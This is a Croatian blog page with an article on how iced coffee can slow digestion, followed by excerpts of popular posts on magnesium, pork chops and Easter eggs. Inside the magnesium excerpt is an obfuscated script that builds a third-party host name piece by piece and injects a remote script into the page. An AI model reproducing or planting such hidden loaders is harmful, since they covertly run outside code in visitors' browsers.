ZAŠTO LEDENA KAVA DONESE USPORENU PROBAVU?




Zašto ledena kava donese usporenu probavu?




Iako se na prvi pogled čini bezazleno, upravo jedna svakodnevna ljetna navika kod nekih ljudi može utjecati na rad probavnog sustava.




Pijete je umjesto vode, a tijelu nedostaje tekućine

Tijekom ljeta organizam gubi više vode zbog visokih temperatura i znojenja, a dovoljan unos tekućine jedan je od temelja uredne probave. Problem nastaje kada nekoliko čaša vode zamijenimo ledenim kavama tijekom dana.

Iako kava sadrži vodu, kofein može kod nekih ljudi potaknuti češće mokrenje, a nedostatak tekućine može dovesti do tvrđe stolice i usporenog pražnjenja crijeva. Rezultat može biti zatvor ili osjećaj da probava više nije redovita kao prije.



Mlijeko, šećer i dodaci mogu opteretiti probavni sustav

Mnoge ledene kave koje se danas nude više podsjećaju na desert nego na običan napitak. Dodaci poput velikih količina mlijeka, vrhnja, sirupa, šećera ili šlaga mogu biti problem za osjetljiviju probavu.

Kod osoba koje imaju blažu osjetljivost na laktozu ili veće količine šećera takvi napici mogu uzrokovati nadutost, osjećaj težine i promjene u radu crijeva. Posebno ako postanu svakodnevna navika.



Veća količina kofeina može promijeniti ritam probave

Kofein poznato djeluje na probavni sustav: kod nekih ljudi potiče rad crijeva i olakšava pražnjenje, ali kod drugih može izazvati sasvim suprotan osjećaj: nelagodu, grčeve ili promjene u uobičajenom ritmu.



Ledena kava često zamijeni pravi obrok

Vrući dani često mijenjaju način prehrane: doručak se preskače, ručak se odgađa, a ledena kava postaje brz način za pokretanje. No crijevima je za pravilan rad potrebna i redovita opskrba vlaknima.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više